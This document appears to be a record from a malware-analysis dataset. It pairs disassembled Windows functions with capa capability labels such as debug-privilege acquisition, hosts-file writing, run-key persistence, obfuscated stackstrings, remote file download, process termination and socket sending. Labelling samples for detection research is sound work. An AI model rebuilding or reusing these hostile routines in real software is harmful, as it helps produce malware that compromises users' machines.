joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4258c0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
xor esi, esi
push edi
push esi
push 2
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 8]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x42592a
push ebx
mov ebx, dword [esp + 0x138]
mov ecx, dword [esp + 0x14]
push ebx
push ecx
call fcn.00425710
add esp, 8
test eax, eax
je 0x42591a
mov edx, dword [esp + 0x14]
push eax
push edx
call fcn.004257b0
add esp, 8
and eax, 0xff
mov esi, eax
lea eax, [esp + 0xc]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4258f3
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
test esi, esi
setne al
pop esi
add esp, 0x128
ret

Function at 0x425950
Capabilities:
Acquire debug privileges
Enumerate gui resources
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str._termsrv.dll
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
push str.SeDebugPrivilege
call fcn.00419b70
lea edx, [esp + 8]
push edx
call fcn.004258c0
add esp, 0xc
test al, al
je 0x425a1b
push ebx
push edi
push 0
push str.SeDebugPrivilege
call fcn.00419b70
push 1
push str.SeShutdownPrivilege
call fcn.00419b70
add esp, 0x10
push str.csrss.exe
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov ebx, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownA]
push 0
mov edi, eax
call ebx
test eax, eax
jne 0x425a0a
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
mov esi, dword [sym.imp.USER32.dll_EnumWindows]
push str.drwtsn32.exe
call dword [sym.imp.KERNEL32.dll_GetProcessId]
test eax, eax
je 0x4259f4
push eax
push 0x4256c0
call esi
push edi
push 0x4256c0
call esi
push 0xa
call ebp
push 0
call ebx
test eax, eax
je 0x4259dd
pop esi
pop ebp
push 0
push str.SeShutdownPrivilege
call fcn.00419b70
add esp, 8
pop edi
pop ebx
add esp, 0x104
ret

Function at 0x425a30
Capabilities:
Start service

Disassembly:
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x425a75
mov eax, dword [esp + 8]
push ebx
push esi
push 0x10010
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x425a70
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
ret
Function at 0x4277d0
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
push 0
mov eax, dword [esi + 0x120]
mov dword [esi], 0x4c9894
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.0040f250
pop esi
ret

Function at 0x427890
Capabilities:
Acquire debug privileges
Enumerate threads

Disassembly:
sub esp, 0x1c
push ebx
push esi
push edi
push 1
push str.SeDebugPrivilege
call fcn.00427800
mov eax, dword [esp + 0x34]
add esp, 8
mov dword [esp + 0xc], 0x1c
mov edi, dword [eax]
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0xc]
mov esi, eax
push ecx
push esi
call sub.KERNEL32.dll_Thread32First
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x427904
cmp dword [esp + 0x18], edi
je 0x4278e6
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Thread32Next
jmp 0x4278d3
mov eax, dword [esp + 0x14]
push eax
push 0
push 0x1f03ff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call ebx
push esi
call ebx
pop edi
pop esi
pop ebx
add esp, 0x1c
ret 8

Function at 0x427896
Capabilities:
Acquire debug privileges
Enumerate threads
Resume thread

Disassembly:
sub esp, 0x1c
push ebx
push esi
push edi
push 1
push str.SeDebugPrivilege
call fcn.00427800
mov eax, dword [esp + 0x34]
add esp, 8
mov dword [esp + 0xc], 0x1c
mov edi, dword [eax]
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0xc]
mov esi, eax
push ecx
push esi
call sub.KERNEL32.dll_Thread32First
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x427904
cmp dword [esp + 0x18], edi
je 0x4278e6
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Thread32Next
jmp 0x4278d3
mov eax, dword [esp + 0x14]
push eax
push 0
push 0x1f03ff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call ebx
push esi
call ebx
pop edi
pop esi
pop ebx
add esp, 0x1c
ret 8

Function at 0x427910
Capabilities:
Acquire debug privileges
Enumerate threads

Disassembly:
sub esp, 0x20
push esi
push edi
push 1
push str.SeDebugPrivilege
call fcn.00427800
mov eax, dword [esp + 0x34]
add esp, 8
mov dword [esp + 0xc], 0x1c
mov ecx, dword [eax]
push 0
push 4
mov dword [esp + 0x34], ecx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea edx, [esp + 0xc]
mov esi, eax
push edx
push esi
mov dword [esp + 0x10], esi
call sub.KERNEL32.dll_Thread32First
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x42799f
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OpenThread]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x20]
cmp ecx, eax
jne 0x42798e
mov ecx, dword [esp + 0x1c]
push ecx
push 0
push 0x1f03ff
call ebx
mov esi, eax
push esi
call ebp
push esi
call edi
mov esi, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push esi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x427968
pop ebp
pop ebx
push esi
call edi
pop edi
pop esi
add esp, 0x20
ret 8
Function at 0x427915
Capabilities:
Acquire debug privileges
Enumerate threads
Suspend thread

Disassembly:
sub esp, 0x20
push esi
push edi
push 1
push str.SeDebugPrivilege
call fcn.00427800
mov eax, dword [esp + 0x34]
add esp, 8
mov dword [esp + 0xc], 0x1c
mov ecx, dword [eax]
push 0
push 4
mov dword [esp + 0x34], ecx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea edx, [esp + 0xc]
mov esi, eax
push edx
push esi
mov dword [esp + 0x10], esi
call sub.KERNEL32.dll_Thread32First
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x42799f
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OpenThread]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x20]
cmp ecx, eax
jne 0x42798e
mov ecx, dword [esp + 0x1c]
push ecx
push 0
push 0x1f03ff
call ebx
mov esi, eax
push esi
call ebp
push esi
call edi
mov esi, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push esi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x427968
pop ebp
pop ebx
push esi
call edi
pop edi
pop esi
add esp, 0x20
ret 8

Function at 0x427c80
Capabilities:
Get common file path
Get file size
Read file on windows
Set file attributes

Disassembly:
sub esp, 0x110
push ebp
push esi
mov dword [esp + 0xc], ecx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push 0x104
push eax
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x18]
test eax, eax
mov edi, str._sysnativedriversetchosts
jne 0x427ce2
mov edi, str._system32driversetchosts
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 4
push 0
push 1
lea ecx, [esp + 0x2c]
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x427da3
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
lea edx, [ebp + 2]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esi + 1]
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x427d80
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x110
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov byte [esi], 0x91
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [esp + 0x10]
push eax
push esi
call fcn.0040f340
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
add esp, 0x110
ret
Function at 0x427db0
Capabilities:
Get common file path
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x10c
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
mov dword [esp + 0x10], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
test eax, eax
mov edi, str._sysnativedriversetchosts
jne 0x427e0e
mov edi, str._system32driversetchosts
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 2
push 0
push 2
lea ecx, [esp + 0x28]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x427e8b
mov eax, dword [esp + 0x120]
mov ecx, dword [esp + 0x11c]
lea edx, [esp + 0x10]
push 0
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x10c
ret 8

Function at 0x427ea0
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x10]
push esi
push edi
mov edi, ecx
xor esi, esi
test ebx, ebx
mov dword [esp + 0xc], edi
jbe 0x427ee5
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x427eb9
mov edi, dword [esp + 0x10]
pop ebp
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.00427af0
mov ecx, edi
call fcn.00429250
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x4286f0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x2c
xor eax, eax
lea ecx, [esp + 0xc]
mov dword [esp], eax
push ecx
mov dword [esp + 8], eax
mov byte [esp + 4], 3
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x30]
lea ecx, [esp]
push 0xc
push ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 9], edx
mov dword [esp + 0xd], eax
call fcn.0040f340
add esp, 0x2c
ret

Function at 0x4288c0
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
push ebx
push esi
lea ecx, [esp + 0xc]
push edi
lea edx, [esp + 0xc]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x428956
mov edx, dword [esp + 0xc]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
mov ebx, dword [esp + 0x18]
push edx
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.WTSAPI32.dll_WTSFreeMemory
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x42894a
mov edi, 0x50f518
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 8
ret
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 8
ret
mov edi, 0x50f518
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x4295c0
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x110
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
mov dword [esp + 0xc], 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 4]
mov dword [esp + 8], 0x50
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 8]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push str.Favorites
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x2710
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x51f884], eax
mov byte [eax], 0x8f
lea eax, [esp + 0x10]
mov dword [0x50f464], 1
push eax
call fcn.004292e0
mov ecx, dword [0x50f464]
mov edx, dword [0x51f884]
add esp, 4
push 0x42
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov dword [0x51f884], eax
pop edi
add esp, 0x110
ret
Function at 0x42a460
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x42a47e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x42a47e
xor eax, eax
ret
mov eax, 1
ret

Function at 0x42a560
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CreateEventA
push str.KERNEL32.dll
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0
push 0
push 0
push 0
call eax
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x34]
lea edx, [esp + 0xc]
push eax
mov eax, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x28]
push edx
push 0x42a490
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.WaitForSingleObject
push str.KERNEL32.DLL
mov ebx, eax
call esi
push eax
call edi
mov edx, dword [esp + 0x18]
push 0xffffffffffffffff
push edx
call eax
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x10
ret

Function at 0x42a600
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x42a620
mov dl, byte [ecx + eax]
sub dl, 0x31
xor dl, 0xfc
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x42a60f
pop esi
ret

Function at 0x42a630
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
push edi
xor eax, eax
mov ecx, 0x49
lea edi, [esp + 0xc]
mov dword [esp + 8], 0
push eax
push 2
rep stosd dword es:[edi], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x42a6a2
lea eax, [esp + 8]
mov dword [esp + 8], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x42a69b
mov edi, dword [esp + 0x134]
lea ecx, [esp + 0x2c]
push edi
push ecx
call fcn.0042d710
add esp, 8
test eax, eax
je 0x42a6ad
lea edx, [esp + 8]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x42a67a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
add esp, 0x128
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop edi
pop esi
add esp, 0x128
ret
Function at 0x42a8c0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Write file on windows

Disassembly:
sub esp, 0x430
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
xor ebx, ebx
mov dl, 0x69
mov al, 0x6c
mov cl, 0x61
push str.InternetOpenA
push str.wininet.dll
mov dword [esp + 0x34], ebx
mov dword [esp + 0x40], ebx
mov byte [esp + 0x18], 0x4d
mov byte [esp + 0x19], 0x6f
mov byte [esp + 0x1a], 0x7a
mov byte [esp + 0x1b], dl
mov byte [esp + 0x1c], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], 0x2f
mov byte [esp + 0x20], 0x34
mov byte [esp + 0x21], 0x2e
mov byte [esp + 0x22], 0x30
mov byte [esp + 0x23], 0x20
mov byte [esp + 0x24], 0x28
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x26], 0x6f
mov byte [esp + 0x27], 0x6d
mov byte [esp + 0x28], 0x70
mov byte [esp + 0x29], cl
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2c], 0x62
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], 0x29
mov byte [esp + 0x30], bl
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push ebx
push ebx
push ebx
lea ecx, [esp + 0x1c]
push ebx
push ecx
call eax
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x3c], edi
jne 0x42a98c
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x430
ret
push str.InternetCloseHandle
push str.wininet.dll
call esi
push eax
call ebp
push str.InternetOpenUrlA
push str.wininet.dll
mov dword [esp + 0x3c], eax
call esi
push eax
call ebp
mov edx, dword [esp + 0x444]
push ebx
push closesocket
push ebx
push ebx
push edx
push edi
call eax
mov ebx, eax
test ebx, ebx
jne 0x42a9d9
push edi
call dword [esp + 0x38]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x430
ret
push str.CreateFileA
push str.KERNEL32.dll
call esi
push eax
call ebp
mov ecx, dword [esp + 0x448]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ecx
call eax
cmp eax, 0xffffffff
mov dword [esp + 0x30], eax
je 0x42aa6b
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x40]
push str.InternetReadFile
rep stosd dword es:[edi], eax
push str.WININET.dll
call esi
push eax
call ebp
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x40]
push edx
push 0x400
push ecx
push ebx
call eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x38]
push 0
push edx
mov edx, dword [esp + 0x38]
lea ecx, [esp + 0x48]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x2c]
test eax, eax
ja 0x42aa0a
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x34]
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x430
ret
Function at 0x42aa90
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x42aae2
push esi
push 0x100
call fcn.004a2adf
add esp, 4
mov esi, eax
mov eax, dword [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 4]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret

Function at 0x42ac70
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x42acba
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x42acba
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x42acd7
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x42acd7
call fcn.0042aaf0
pop edi
pop esi
add esp, 0x9c
ret
call fcn.0042aa90
pop edi
pop esi
add esp, 0x9c
ret

Function at 0x42acf0
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push str.Winlogon
mov esi, eax
call fcn.0042a780
add esp, 4
test eax, eax
jne 0x42ad13
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x42ad37
push esi
call fcn.0042a6d0
add esp, 4
mov eax, 1
pop esi
ret
Function at 0x42ae10
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x24
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.ADVAPI32.dll
mov byte [esp + 0x18], 1
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenProcessToken
push edi
call esi
push str.AdjustTokenPrivileges
push edi
mov ebx, eax
call esi
push str.LookupPrivilegeValueA
push edi
mov dword [esp + 0x24], eax
call esi
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call ebp
push str.GetCurrentProcess
push eax
mov dword [esp + 0x28], eax
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x28
call eax
push eax
call ebx
test eax, eax
jne 0x42ae7e
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
neg edx
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 1
sbb edx, edx
push eax
and edx, 2
push ecx
push 0
mov dword [esp + 0x3c], edx
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
push 0
push 0
lea edx, [esp + 0x2c]
push 0x10
push edx
push 0
push eax
call dword [esp + 0x34]
push str.KERNEL32.dll
call ebp
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x42aed5
mov byte [esp + 0x14], 0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x42aeed
push edi
call esi
mov eax, dword [esp + 0x20]
test eax, eax
je 0x42aef8
push eax
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
and eax, 0xff
pop ebx
add esp, 0x24
ret

Function at 0x42b140
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
mov esi, dword [esp + 0x18]
lea eax, [esp + 0x18]
push edi
push eax
xor edi, edi
push 0x8004667e
push ebx
mov dword [esp + 0x28], edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test esi, esi
jle 0x42b185
mov ebp, dword [esp + 0x18]
push 0
lea ecx, [edi + ebp]
push esi
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x42b185
sub esi, eax
add edi, eax
test esi, esi
jg 0x42b16b
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret